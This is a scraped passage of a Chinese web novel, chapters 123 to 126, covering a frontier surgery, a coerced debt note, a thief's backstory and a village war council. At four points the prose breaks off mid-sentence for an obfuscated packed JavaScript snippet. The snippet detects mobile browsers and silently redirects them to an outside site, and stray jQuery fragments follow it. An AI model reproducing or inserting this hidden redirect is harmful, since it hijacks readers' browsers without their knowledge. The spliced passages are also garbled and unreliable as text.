说不紧张,那是不可能的!
“把这个喝了!”
薛猛端起一碗温热的药汤子,递到夜含香嘴边。
“这是什么?”
“喝!”
薛猛态度粗暴,懒得解释,时间不能再拖下去了。
先前夜含香完全是靠天然**,才能撑到现在,一旦兴奋效果过去,她随时都会嗝屁!
而且时间拖得越长,伤口恶化的风险越大!
必须马上动手术取出铁镖!
如今人为刀俎,我为鱼肉,夜含香不敢忤逆,只能捏着鼻子,强忍恶心喝下药汤子。
喝完药汤大概一刻钟后,夜含香眼皮子就开始打架,连呼吸都变得极其微弱。
不知不觉就趴在手术台上,熟睡过去。
乍一看,宛若一具死尸。
“嘿嘿,换皮麻药还是管用的!”
薛猛伸手拍了拍夜含香圆溜溜的腚,对方愣是一点反应都没有。
他那碗药汤子,是用闹羊花、茉莉花根、当归、菖蒲浓煎而成,叫做“换皮麻药”。
顾名思义,喝了这玩意儿,可以让人沉睡如**,任人刀割,哪怕把皮给扒了,都不会感受到任何疼痛。
寻常的麻药喝下去,代谢能力强的,可能中途会突然醒过来!
但这换皮麻药喝下去,再牛的人也不可能自己醒来。
必须用人参、甘草、陈皮、半夏、茯苓、白薇、菖蒲七味药材特制的解药才能救醒!
如此一来,也就不用担心手术途中,夜含香突然惊醒了!
薛猛用布巾蒙住口鼻,又用盐水洗了洗手。
木夹子夹棉花浸盐水,给夜含香擦拭伤口,初步清创,去除一些肉眼可见的异物。
紧接着从铜盆里拿起兽用清创刀,刀刃一沉,平稳划开夜含香背上的肌肤。
刀刃划开皮肤、脂肪、腠理的瞬间,鲜血随之涌流而出,从雪白的美背上流淌而下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313086|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞬间染红了手术台上的白布。
看着从血肉里逐渐显露而出的铁镖头,薛猛微微皱眉。
这铁镖的形状,棱角颇多,深深嵌在了肉里!
想要完整取出,难度不小!
薛猛定了定神,拿起马用拔刺钳,小心翼翼将细长钳口探入伤口底部。
同时进刀,继续切割碎肉。
鲜血汩汩涌流。
夜含香沉睡不醒。
随着时间流逝,薛猛额角的汗水也跟着淌成了小河,衣襟都被汗水湿透了。
他答应救夜含香,一来是想从夜含香口中问出黑风岭响马的最新动向。
二来则是想借此机会练练手。
若是这台手术成功,到时候给白虎拔牙,也就更有把握了!
同时这也是对大虞医疗体系的一次挑战,一次跨越古今的冒险尝试!
不久的将来,随着敌人越来越强大,巡猎队难免会有伤亡!
包括薛猛自己,都有可能在战斗中负伤!
所以薛猛想试试能不能在大虞完成第一台外科手术!
若是此举成功,便可以尝试培养一些医疗人才,以备不时之需!
既是为了边人,也是为自己,多买一份“保险”!
眼看铁镖头已经呼之欲出,手术进入尾声。
然而就在夹取铁镖的最后关头,钳子却突然卡住了,薛猛瞳孔一缩,拿钳子的手忍不住轻微颤抖起来。
虽然他对夜含香这个妖女,并没有什么怜悯之情!
但,这毕竟是一条活生生的命。
若是手术失败!
自己以后恐怕做梦都会梦见她!
“镇静,镇静……”
薛猛深吸一口气,轻轻扭转手腕,利用巧劲将钳子带了出来。
咣当!
松开钳子,只听一声脆响响起,铁镖落至铜盆之中。
“呼!”
薛猛松了口气,悬着的心,总算尘埃落定!
铁镖取出来了!
但薛猛还是不敢松懈,连忙用硫磺和蕊石配制而成的花蕊石散,给夜含香止血。
并用绣花针和桑皮线,迅速缝合伤口!
……
手术室外,挤满了人。
男女老少争先恐后,探头探脑往屋里瞅,都想看看薛猛到底要怎么给活人开刀动手术!
奈何门窗紧闭,并且屋里有帷幔遮挡,什么都看不见!
“动手术,到底是啥意思啊?”
“不知道!说是用兽用清创刀把人的皮肉割开,再用马用拔刺钳,把里面的东西取出来,然后再用针线把伤口缝上!”
“啊?”
“那得流多少血啊?不得活活疼死啊!”
“还能这么疗伤?怎么听着跟缝衣服一样?”
“牲口用的刀和钳子,用在人身上,光是听听就让人害怕……”
村民们闻之咂舌,议论纷纷。
人群最后面的宋老太公、宋婉儿父女,也都提心吊胆,捏着一把冷汗。
宋庄祖上便是郎中出身,玉娘村的田地,也是以药田居多。
对这用药行医之事,宋老太公还是有所了解的!
但薛猛这样的治疗方法,他是闻所未闻!
光是听起来就让人脊背发寒,也不知道薛壮士,是怎么想出这么大胆的疗伤方式的!
“安静!”
寇芳冷声喝道,示意大家不要在手术室外喧哗。
不多时,只听吱嘎一声轻响,手术室紧闭的房门终于打开了。
第123章 手术费一万两黄金
众人齐齐扭头看去,只见薛猛抬着血淋淋的双手,一步一挪,缓缓从屋里走了出来。
在众目睽睽之下,薛猛脱力一般,跌坐在地。
“薛爷!”
“薛爷你怎么了?”
众人见状大惊,连忙围了上去将薛猛扶了起来。
“姐夫,喝水!”
林小鱼虽然调皮,但此时却很懂事地端着一碗水,喂给薛猛喝。
薛猛喝了口水,方才缓过神来,大口喘着粗气:“我,没事儿!就是……太累了!”
给人开刀动手术,而且还是大虞历史上第一台手术!
压力实在太大了!
精神高度集中后又瞬间放松,疲惫感像浪头一样闷头打来,没几个人能扛得住!
哪怕薛猛前世出身医武世家,也差点没扛住!
好在,结果是好的!
手术成功了!
“铁镖已经取出来了,伤口也缝合了,血也止住了,接下来就看妖女的造化了!”
“我的感觉是,问题不大!”
薛猛话落。
寇芳喜极而泣。
村民们也都跟着欢呼鼓掌!
尤其是巡猎队的人,那是打心底里高兴和激动!
他们深知铁镖深入体内,放在以往任何时候,都是必死无疑!
若薛猛的外科手术成功,那岂不是就意味着,今后若是他们有人受这种重伤,就不用凄惨等**?
“好!好哇!”
“薛壮士不仅用兵大胆出奇,连医术也是如此大胆出奇!”
“小老儿今日实在是大开了眼界!”
“薛壮士若是开馆坐堂,必能成为当世名医!”
这时宋老太公拄着拐杖,带着宋婉儿,从人群最后面走了过来。
老人看着薛猛的眼神,充满钦佩和赞赏!
宋婉儿也是娇羞一笑,面对薛猛这样优秀的男子,谁能不心生仰慕呢?
薛猛谦逊笑道:“老太公,这还要多亏了你们,这些天帮我采了不少的药材!”
“若是没有这些药材,我也不可能在短时间内,配制出花蕊石散和换皮麻药!”
“没有麻药和止血药,这手术我是万万不敢动的!”
玉娘村的村民,多数都是药农,识得几味草药,进山采药都是一把好手。
宋老太公更是炮制药材的行家。
这些天,他们的确帮薛猛制备了不少药材。
宋婉儿还在卧虎村支起了一个小小的药铺子,村民们有个伤风感冒,也不需要再出外求医,她就能轻松搞定。
薛猛一问之下,才知道宋庄祖上就是靠行医卖药积累下的家业!
玉娘村的田地,以前大多是种药材的!
要不是遇到天灾人祸,村里男人又被抓光,没了劳动力,她们村子也不至于穷成那样!
“对了宋老太公,你们药铺子有人参吗?换皮麻药后劲很大,需要用人参来解!”
薛猛问道。
宋老太公笑着点头。
“当然有了!”
“你们卧虎山简直就是一座宝山,野生药材太多了!什么龙头凤尾的石斛、三两重的人参、百二十年的首乌,我们都挖了不少!”
“那就好!”
薛猛彻底放心了。
以前山里有棕熊、老虎出没,卧虎村村民们都不敢进山采药,所以卧虎山的野生草药得到了很好的保存。
完全就是一座天然中药库!
手术宣告结束,熬制换皮麻药解药的事情,就不需要薛猛操心了,直接交给宋婉儿这位女郎中就行。
薛猛转头对寇芳嘱咐道:“寇芳,你去把手术室收拾收拾,顺便擦洗一下夜含香的身子!”
“暂时将她安置在东厢房修养,我要你时时刻刻盯着她!”
“她一旦醒过来,你必须第一时间告诉我!我跟她还有账要算!”
“要是让她给跑了,我拿你是问!”
寇芳点头应道:“是!”
薛猛到灶房洗了洗手,随即立马回到书房。
铺开羊皮纸,提笔写字。
“夜含香欠薛猛手术费:黄金一万两!”
“期限三日内还清,否则永世为薛家之奴!”
“若无力偿还欠款,可以盗门绝技《折梅手》、《含香步》秘笈代偿!”
“今立帖为证,童叟无欺!”
薛猛满意地看了看欠条,腹黑一笑。
来到东厢房,趁夜含香昏迷未醒,薛猛抓起她的手,在欠条上摁上了血手印。
他本不想用这些地主老财惯用的损招!
但出身医武世家的他,对武学有着近乎本能的向往。
夜含香的《折梅手》和《含香步》,让薛猛心向往之。
这种好东西不学过来,未免太可惜了!
……
“蛟儿!你快睁眼看看为父!你如何忍心,让为父白发人送黑发人呐!”
青龙峡水寨里,传来阵阵悲痛欲绝的怯哭之声。
青龙峡寨主雷龙捧着雷蛟冰冷的手,久久不肯松开。
但无论他怎么呼唤,雷蛟都没有任何回应!
冷姑看在眼里,出声劝慰:“表哥!蛟儿已经走了,你就算再怎么叫他也无济于事!”
“那刺客被我的蝎尾镖打中,十死无生,也算是为蛟儿报了仇!”
“你切莫悲伤过度,伤了身子!”
“不!决不能就这么算了!”
雷龙猛然抬起头,泪眼中恨意滔天!
老脸上,透着一代水匪头子该有的凶狠!
转头对身旁一个穿鱼皮短褂的孔武大汉,喝道:“雷鹏!你给我听着,就算把整条沧浪江给翻过来!也要抓住刺杀你弟弟的刺客!”
“活要见人,死要见尸!就是**,也要捞上来**万段,扒皮抽筋,方解我心头之恨!”
雷鹏拱手领命:“义父放心!孩儿早已吩咐下去,封锁了所有水道!并
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313087|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让手下日夜打捞!”
“绝不可能让那刺客逃出我们的手掌心!”
雷蛟惨死。
水匪震怒。
遭殃的却是附近水域的渔民!
以往他们还可以趁着水匪不在的时候,偷摸着在青龙峡水域打渔,但水匪封锁了水道,谁都不敢靠近了。
谁要是敢触水匪的霉头,就是个死!
但不管水匪怎么打捞,始终都没有见到夜含香的尸体。
……
夜深人静,繁星如织。
薛家,东厢房内。
夜含香服了宋婉儿熬的解药,还是迟迟没有醒来。
寇芳守在床边,借着烛光,看着夜含香的容颜,往事回忆涌上心头。
“你叫什么?”
“寇、寇芳,这是我哥哥寇达。”
“哪里人?为何要拜入我盗门?”
“我们是燕州清河县人士,家乡被北莽**攻陷,逃难到此,没了活路,所以才……”
“要吃江湖饭,学会偷抢骗!我们盗门是下九流捞偏门的行当,损阴德,一入此门,再不能回头!”
“我们不怕!只要能活下去!我们什么都不怕!门主,求您收下我们吧!”
“爹爹,他们好可怜,你就收下他们吧!”
回想起第一次与夜含香相见的场景,寇芳不禁红润了眼眶。
那时候,她和兄长寇达刚刚逃出被北莽**攻陷的家乡,辗转流落到了京城。
因实在没了活路,便干起偷盗之事。
干的第一票,就瞄准了大虞最大的贪官,丞相魏书同家!
但因为本事不济,险些被相府的护院抓住,所幸被同样盯上相府的盗门首领夜鸿飞所救。
二人见夜鸿飞飞檐走壁如履平地,便想拜他为师,但却遭到了拒绝。
最后还是夜含香求情,才勉为其难给了他们兄妹一次机会。
二人天资聪颖,从此拜入盗门,学得了真本事。
一晃这么多年过去了,寇芳兄妹俩南下闯荡,在蜀郡绿林渐渐闯出了名声,得了个“飞狐”、“飞雁”的名头。
再后来遇到了薛猛,也算是翻了身!
滴水之恩,当涌泉相报!
寇芳和哥哥寇达都是知恩图报之人,就像薛猛对他们有再造之恩一样,夜含香也曾对他们有知遇之恩。
这个恩情,寇芳没齿难忘。
“咳咳……”
一声轻咳,将寇芳的思绪拉了回来。
寇芳定睛一看,只见原本昏迷不醒的夜含香,睫毛轻颤,缓缓睁开了双眼。
“夜小姐!你总算醒啦!”
寇芳见状大喜。
连忙上前扶着夜含香坐起来,并殷勤地给夜含香倒水。
夜含香接过茶杯喝了口水,这才看向寇芳,柳眉轻挑:“你认识我?”
她不明白,这小姑娘,为何对她如此热情!
在薛猛想掐死她的时候,还替她跪地求过情!
第124章 薛猛拿捏夜含香
“夜小姐,你不记得我了,但寇芳这辈子却永远记得你!”
“当年,是你向门主求情,才让我和我哥,得以拜入盗门!”
“没有你,就没有如今的我!”
寇芳激动地把当**情说了出来。
“有这事儿吗?”
夜含香想了想,实在是想不起来了。
因为她这些年帮助过的人,实在太多了!
对于只有一面之缘的寇芳,确实没什么印象!
对方不记得自己,寇芳也不恼。
只是看着夜含香现在的样子,忍不住问出了心中疑问:“夜小姐,您可是堂堂盗门门主之女,折梅手窃玉偷香,含香步独步天下!”
“天下盗门中人,都以你为榜样!”
“可你为何却成了那什么德妃的影卫?甘愿为她效命?”
夜含香闻言,只是摇头轻叹一声,不知该从何说起。
“我爹早就**!盗门也已经不复存在!”
“什么?”
寇芳闻言一惊,满脸错愕。
夜含香回忆起当年的往事,便不由得满面愁容:“当年,因为成功盗走丞相魏书同的御赐宝卷,我爹在江湖上的名声越来越大!”
“不少人都想请我爹出手盗宝!”
“四年前,我爹的一位挚友,愿出黄金千两,请我爹进宫盗取德妃珍藏的牛黄救心丹!”
“我爹本不想冒这个险,但那位挚友声称家中老母身患怪病,时日无多,只有德妃的牛黄救心丹,能救他母亲的命!”
“我爹重情重义,不忍心看挚友痛失生母,便应下这门生意!我爹暗中筹划数月,确保万无一失,方才决定出手!”
“可没想到,刚一进宫就中了埋伏,那是我爹生平第一次失手!”
“进宫盗宝,乃是弥天大罪,本该秋后问斩,是德妃用另一个死囚顶替了我爹!”
“名义上,我爹已经‘死’了,盗门也不复存在了!”
说到这里,夜含香黯然神伤。
这时门外脚步声响起,薛猛戏谑的声音随之从门边传来:“没想到你这妖女还要这么一段心酸往事呢!”
“不过我怎么觉得,像是那什么德妃,买通你爹的那位‘挚友’,故意给你爹设的局呢?”
寇芳连忙起身,将椅子让给薛猛:“恩公,你坐!”
看着在椅子上缓缓坐下的薛猛,夜含香狐媚双眸中,闪过一抹异彩:“你,果然不是一般人!”
很显然,薛猛说对了!
“这的确是德妃故意给我爹设的局!”
“德妃救下我爹,代价是让我爹为她效命!”
“整个盗门都沦为了德妃手下的影卫,替她干一些见不得光的脏活!”
“包括我,也必须听她的命令……!”
“但当时,我们根本没意识到这是个局,还将德妃视作救命恩人,心甘情愿为她卖命!为此折损了不少盗门弟兄!”
“直到多年之后,我爹那位挚友醉酒后说漏了嘴,我们才知道,原来他家中老母根本没有得病,而是被德妃的人买通,故意引我爹进宫盗宝!”
自己花了四年才得知的真相,却被薛猛一眼看透!
夜含香看着薛猛,心惊不已,此人心思绝非常人可比!
寇芳则是听得咬牙切齿,小拳头捏得咯咯响:“太可恶了!这个德妃真是太可恶了!夜小姐,你这么有本事,为什么不反抗?”
夜含香无奈叹道:“盗门毕竟是下九流行当,哪里斗得过这些真正的大人物?我爹被她软禁了起来,我怎敢反抗?”
薛猛闻言,却是不屑冷嗤:“什么狗屁大人物?要我说,还是你们太怂了!”
“你们都敢进宫偷东西了,还怕个**啊?”
“找个月黑风高的晚上摸进宫里,直接把德妃杀了,顺便把狗皇帝也杀了,再把传国玉玺偷出来!”
“一把火把皇宫点了!那才叫真正的大盗!”
“小贼窃财,大**国!拿到传国玉玺,你爹直接称帝!”
“哪怕今天当皇帝,明天嘎巴一下**,也能名留青史,死得壮烈!”
薛猛这番话,听得夜含香是心惊肉跳,直冒冷汗。
小贼窃财,大**国!
偷玉玺,烧皇宫?
这人脑子里到底装的些什么?
竟敢说出这等惊世骇俗之言!
寇芳擦了擦额角细汗,倒是并没有特别惊讶。
因为薛猛经常口出狂言、奇论!
比如什么我们是生活在一个球体上面,天上的星星、月亮、太阳,也都是球。
还说有种杂交水稻,亩产可达一千斤以上,只要培育出这种水稻,可以让全天下的人都吃饱饭。
还说蜀郡的郡守都是饭桶,只需要修建一个水利工程,就可以治理蜀郡的洪水,灌溉蜀郡所有的稻田。
还说蜀锦沃野千里,一旦解决洪水问题,种出的粮食完全足以支撑整个益州割地为王,和朝廷分庭抗礼!
跟着薛猛这么久了,寇芳也算是摸清了薛猛的脾气。
恩公什么都好,就是爱说大话!
喜欢掰扯一些根本不可能实现的东西!
水稻亩产千斤,洪水灌溉田野。
简直就是天方夜谭嘛!
“行啦,不扯这些有的没的了!”
薛猛想起了正事,指了指桌子上从夜含香体内取出的铁镖。
正色对夜含香问道:“说说吧,你到底是怎么受的伤?莫不是在路上遇上了黑风岭响马?”
夜含香摇了摇头,随即又点了点头:“算是,也不全是!”
接下来,夜含香将自己这一趟死里逃生的惊险经历,简要扼明告诉了薛猛。
先是到青龙峡河滩乘船,被老船工下药麻翻带回水寨,中途醒来,偶然听见雷蛟和冷姑二人在岸边的对话。
紧接着杀死两名水匪和青龙峡少当家雷蛟,逃跑之时,被冷姑的蝎尾镖打中,跳江逃生,失血昏迷。
再后来就是被张水他们当作“美人鱼”捞了起来,带回了卧虎村!
听了夜含香这番惊险经历,寇芳浑身冷汗淋漓,暗暗吃惊。
她掂量了一下,若是换作她,恐怕很难从青龙峡水寨全身而退!
薛猛心中也不由赞叹。
顶着麻药后劲儿,还能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313088|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从水匪重围中逃出生天!
这娘们儿的折梅手、含香步,确实了得!
这种关键时刻可以保命的绝技,必须学到手!
夜含香全然不知,薛猛心里的算盘珠子打得啪啪响。
“薛郎,你对我有救命之恩,我夜含香也不是无信之人!”
“既然答应过会替你保守秘密,我一定说到做到!”
“在卧虎村的所见所闻,我不会向德妃透露只言片语!”
“哪怕她问罪于我,我也认了!”
“之前咱们有言在先,只要你替我疗伤,我什么都可以给你!说吧,你要我怎么谢你?”
见夜含香主动提起答谢。
薛猛嘿嘿一笑!
什么都可以给我?
这可是你自己说的!
那我可就不客气了!
“我要你身上最重要的东西!”
“最重要的东西?”
夜含香闻言一怔,心中升起一种不祥的预感。
寇芳亦是心弦一紧,瞪大眼睛看着薛猛。
难道,恩公是想……
夜含香轻咬朱唇,内心纠结。
女人身上最重要的东西,不就是贞洁吗?
她虽精通媚术,以色勾人!
但从来没有男人真正得到过她,因为那些好色之徒往往在露出色相的下一秒,便命丧于夜含香的折梅手之下!
夜含香蹙眉:“薛郎!你真要?”
“要!而且要毫无保留,全部给我!”
薛猛语气斩钉截铁,不容置疑。
面对薛猛灼热的目光,夜含香柳眉轻锁,内心天人交战。
挣扎了好半晌,最终还是做出了决定。
“也罢!救命之恩,当以身相许!”
“薛郎要,奴家便给你就是!”
“不过,得等奴家把身子养好!”
“啥玩意儿以身相许?你在这儿说啥呢?”
薛猛虎目一瞪,反手掏出一张欠条,直接怼到了夜含香面前:“睁大眼睛看好了,你现在欠我一万两黄金手术费!”
“三日内,若是还不上!你就得把你一身本事,毫无保留,全部传给我!”
“否则,就别想离开卧虎村!”
“什么?!”
寇芳瞠目结舌,一万两黄金手术费,恩公也太黑心了吧!
夜含香更是如遭雷击。
本以为薛猛要的是她的贞洁,没想到是自己自作多情了!
一万两黄金手术费,她把自己卖了也还不起啊!
薛猛显然是冲着她这身盗门绝技来的!
但,自己的贞洁,她可以做主给薛猛!
这身盗门绝技,她却做不了主!
夜含香一咬牙,摇头拒绝:“不行!薛郎,奴家不能答应你!”
“这两门盗门绝技,奴家曾在祖师爷灵前发过誓,绝不外传!”
“你就是杀了我,奴家也不可能违背师门祖训!”
夜含香话音刚落。
一把刀直接架在了她的脖子上。
一抬头,对上薛猛冰冷的虎目:“那你就死吧。”
夜含香娇躯一颤,先前的硬气瞬间荡然无存:“其实,也不是完全不能传的。”
第125章 战前全村大摸底
“规矩是死的,人是活的!”
“偶尔违背一下祖训,祖师爷应该也不会怪罪我们这些小辈!”
见夜含香秒怂,薛猛冷嗤一声,缓缓收刀入鞘:“早这样多好!”
夜含香松了口气,心中却在暗自盘算该如何逃走,她是真不想传薛猛盗门绝技。
然而,夜含香一撅屁股,薛猛就知道她想拉什么屎!
夜含香脸上的微表情变化,出卖了她内心的小九九!
“我说,你最好别想着逃跑!”
“卧虎村这一片儿,我薛猛说一不二!”
“我有本事把你从鬼门关拽回来,我就有本事把你踹回去!”
薛猛拿捏着夜含香白腻的下巴,俯下身,虎目直勾勾逼视着她。
二人四目相对,嘴唇近在咫尺,仿佛下一秒就要亲上去,从寇芳的角度来看,两人就好像在谈情说爱一般。
但夜含香十分清楚,薛猛可没有半分跟她温存的意思!
那双虎目,目光犀利如剑,仿佛可以直接将她的内心看穿!
被薛猛一语点破内心想法,夜含香浑身香汗淋漓,胸口剧烈起伏。
内心感受到了深深的恐惧!
和薛猛对视,仿佛在与**的猛虎对视!
自以为对男人了如指掌的她,却看不透眼前的薛猛,只在对方眼里,看见了深不见底的深渊!
“薛郎放心,奴家绝对不敢!”
夜含香是真的怕了。
连说话的声音,都止不住颤抖!
“懂事就好!”
薛猛轻轻拍了拍夜含香的脸蛋,脸上有了笑容。
“寇芳,给她换身干净衣服!每日给她伤口换药!鱼胶滋补品,也不要少了她的!!”
“我薛猛一向善待俘虏!”
给看傻眼的寇芳留下这句话,薛猛头也不回,转身离去!
目送薛猛的背影消失在门外,回想起薛猛刚才的眼神,夜含香仍然心有余悸,久久缓不过神来。
这个男人…太可怕了!
尤其是他深不可测的眼神,夜含香以前只在宫里那些真正的上位者眼中看见过!
……
“据可靠消息称,半个月后,元良就会率领黑风岭匪兵,攻打洪雅县!”
“并且,黑风岭已经与青龙峡水匪暗通款曲,达成了同盟!”
“青龙峡水寨距离我们只要二十里地!我们不得不防!”
“我宣布,卧虎村从今天开始,正式进入战备状态!”
翌日一大早,薛猛便立即在会议室召开了卧虎村村民大会!
这次不光是巡猎队各分队的队长全部到场。
老鸦坎、捕鱼队、伐木队、施工队、采石队、铁艺坊、酒坊、纺织坊、鱼胶坊、玉娘村民也都派了代表前来开会。
可以说,这是卧虎村第一次全民代表大会!
“有道是,军无辎重则亡!无粮食则亡!无委积则亡!打仗,打的是后勤供给!”
“所以临战之前,我要先摸摸咱们卧虎村的底子,到底能不能支撑我们接下来的战斗!”
薛猛抱着胳膊,目光随意扫视着围坐长桌前的一张张面孔:“我想知道,咱们卧虎村现在有多少积蓄?在生产过程中,有没有遇到什么难以解决的问题?”
“我希望大家畅所欲言,遇到任何难题,都可以提出来,咱们一起集思广益尽早解决!”
“以免等到战时,后勤生产跟不上,那可就要命啦!”
薛猛手边,就有林雅娴整理的账目。
对卧虎村如今的发展进度,他其实心里大概有数。
他只是想借这个机会,锻炼锻炼大家,让大家参与到讨论中来。
在讨论过程中,或许就会暴露出一些平时没有留意的问题!
这些问题平时倒没什么,但一旦和匪兵开战,这些小问题或许就会像**一样**,引起诸多麻烦!
村民们以前从来没有参加过这么严肃的会议,十分拘谨害羞。
大家你看看我,我看看你,都不敢吭声。
薛猛决定先拿大舅哥林大强‘开刀’:“大舅哥,你先来说说,施工队情况如何?”
林大强一怔,缓缓站了起来,瞬间成为了众人目光的焦点。
被这么多人盯着看,林大强不由得老脸一红,紧张得嘴唇都在发抖:“呃,那个,寨墙、箭楼已经巩固完成,壕沟、地道等工事也开始修了!”
“但是修建工事最主要的材料是青石,附近山上的青石都已经被我们采挖得差不多了,不敢再深挖下去!”
“否则一下大雨,很可能引起山体滑坡!距离较远的青石倒是不少,但山路崎岖,要把石头搬运回来,又是个大问题!”
薛猛闻言点头,指着林大强,当着众人表扬道:“很好!大舅哥观察到的这个问题非常重要,值得表扬!”
“大舅哥,你先坐下,稍后咱们再一起解决这个问题!”
“来,大家给大舅哥鼓鼓掌!”
**!
会议室里掌声雷动。
林大强呼了口气,连忙坐下。
虽然头一次当着这么多人做汇报,有些紧张。
但得到了薛猛的表扬,又得到了大家的掌声,林大强心里有种莫名的感觉,油然而生。
那种感觉他也说不来怎么形容,反正真挺不错!
见林大强提出问题被当众表扬,大家的积极性也都逐渐被调动起来。
老白头紧接着就起身汇报道:“咱们铁艺坊,采用了水排鼓风装置和水力锻打装置,增加了二十座水车、二十台冶炼炉,产量得到了大幅提升!”
“目前出产铁锅五十口,钢刀八十把,狼牙箭头三十个,三棱箭头三百个,钢枪头五十个!”
说着,老白头示意身后站着的徒弟,将一个钢圈双手递给薛猛:“薛贤侄,你之前让我定
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313089|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
制的钢圈,也已经打好了!”
“好!非常好!”
薛猛接过钢圈,满意地点点头。
铁艺坊的产量,已经超过了他的预期。
有了箭头、枪头、钢刀,就可以武装更多的村民!
但紧跟着,老白头眉头一皱,语气凝重了几分:“不过,如今黑风岭响马作乱,大肆劫掠铁矿石,外县的优质铁矿运不进来!”
“咱们买不到好铁矿,之前储备的铁矿石,已经用得差不多了!”
“若是月底还买不到铁矿石,铁艺坊将会面临停产!”
薛猛闻言,微微蹙眉,若有所思。
“嗯,这的确是个棘手的问题!”
张水举手汇报道:“我也提个问题!白虎乡附近水域的大鱼越来越少了,咱们原本打算去青龙峡水域捕鱼,但青龙峡那帮水匪,封锁了水道,不准我们靠近!”
“咱们,已经没鱼可打了!”
张水此言一出,身为鱼胶坊主管的林雅娴,也是皱起了眉头。
“捕鱼队捕不到大鱼,我们鱼胶坊也将面临停产!”
山猫子起身道:“薛大掌柜,五十名骑士我已经招齐了!都是以前道上的朋友,本来就会骑马,也不需要怎么训练!”
“但是先前缴获的那五十匹中原战马,不知道是什么原因,有一多半都不肯进食!我们什么法子都试了,全都无济于事!”
宋老太公叹了口气:“小老儿略懂些兽医,昨日去老鸦坎马场查看过。”
“那些马是因战时受了惊吓,加上水土不服导致的绝食,此乃心病,确实无药可救!”
“薛爷,我也说个问题……”
陆陆续续,有人起身汇报。
会议持续了半个多钟头。
听完众人汇报。
大大小小的问题的确很多。
一些小问题,经过大家讨论之后,都得到了妥善的解决方法。
但是最主要的几个问题,仍旧悬而未决。
青石开采过度!
铁矿石无从购买!
鱼获殆尽!
战马绝食!
每个问题都很棘手,并且关乎卧虎村的命脉!
“这可咋办啊?”
“老周,平时你鬼点子不是挺多吗?赶紧想想办法啊!”
“我能想什么办法,你怎么不想?”
“……”
就在大家吵得不可开交,焦头烂额,束手无措之际。
“好了!既然大家都想不出好点子,那就,听我的吧!”
薛猛沉思片刻后,一抬手,示意大家安静。
所有人闭上了嘴,齐齐扭头看向薛猛,满怀期待,想要听听薛猛有什么好办法。
但没想到,薛猛一开口,居然只说了简简单单八个字!
“不采、不买、不打、不喂!”
听了薛猛这云里雾里的八个字,众人面面相觑,完全跟不上薛猛的思路。
啥意思啊?
第126章 无为而治
见大家满头雾水,薛猛起身踱步,一一解释起来。
“附近的青石采挖过度,远处的青石难以搬运,那咱就不采青石了!”
“转而开窑烧砖,替代青石!大舅哥,烧砖的方法,稍后我单独传授给你!”
林大强闻言,点点头:“好嘞!”
薛猛来到老白头面前,继续说道:“铁矿石买不到,那咱就不买了!”
“七百里卧虎山脉,不缺矿脉,咱们自己寻找矿脉开矿!白叔,寻找矿脉的法子,我稍后单独传授给你!”
老白头老眸闪烁,满脸难以置信。
薛猛竟然还懂得寻脉开矿?
没等众人吃惊,薛猛接着又对捕鱼队面临的问题,给出了解决方案:“附近水域大鱼殆尽,那咱就不打鱼了!”
“捕鱼队队员从今日起改建水鬼队,打造战船,操练水战之法!”
“鱼胶坊停产,工人可以分配到刘庄纺织坊、宋庄制药铺帮工,薪资照旧!”
林雅娴美眸一怔。
张水也是挠了挠头,消化着薛猛这番话。
说完,薛猛看向山猫子:“战马战后应激,抑郁绝食,水土不服,那就不喂了!”
“直接放生,仍由它们自己出去寻找栖息地,自己找草吃!”
“老鸦坎需要派人在后面跟着,观察它们自己爱吃什么草,以后就专门割这种草喂马!”
山猫子双目圆瞪,听傻了眼!
薛猛声音不大,但落在众人耳中,却是如雷贯耳,让人颇有醍醐灌顶之感!
悬在众人心头,难以解决的四大难题,就这么被薛猛四个“不”字,轻松化解!
“原来,还能这么解决问题?”
“我们眼中的难题,被薛爷这么一说,好像根本就不算什么难题呀!”
听了薛猛的解决方案,大家顿觉豁然开朗!
徐守业更是老眸大放异彩,激动不已。
“好一个不采、不买、不打、不喂!”
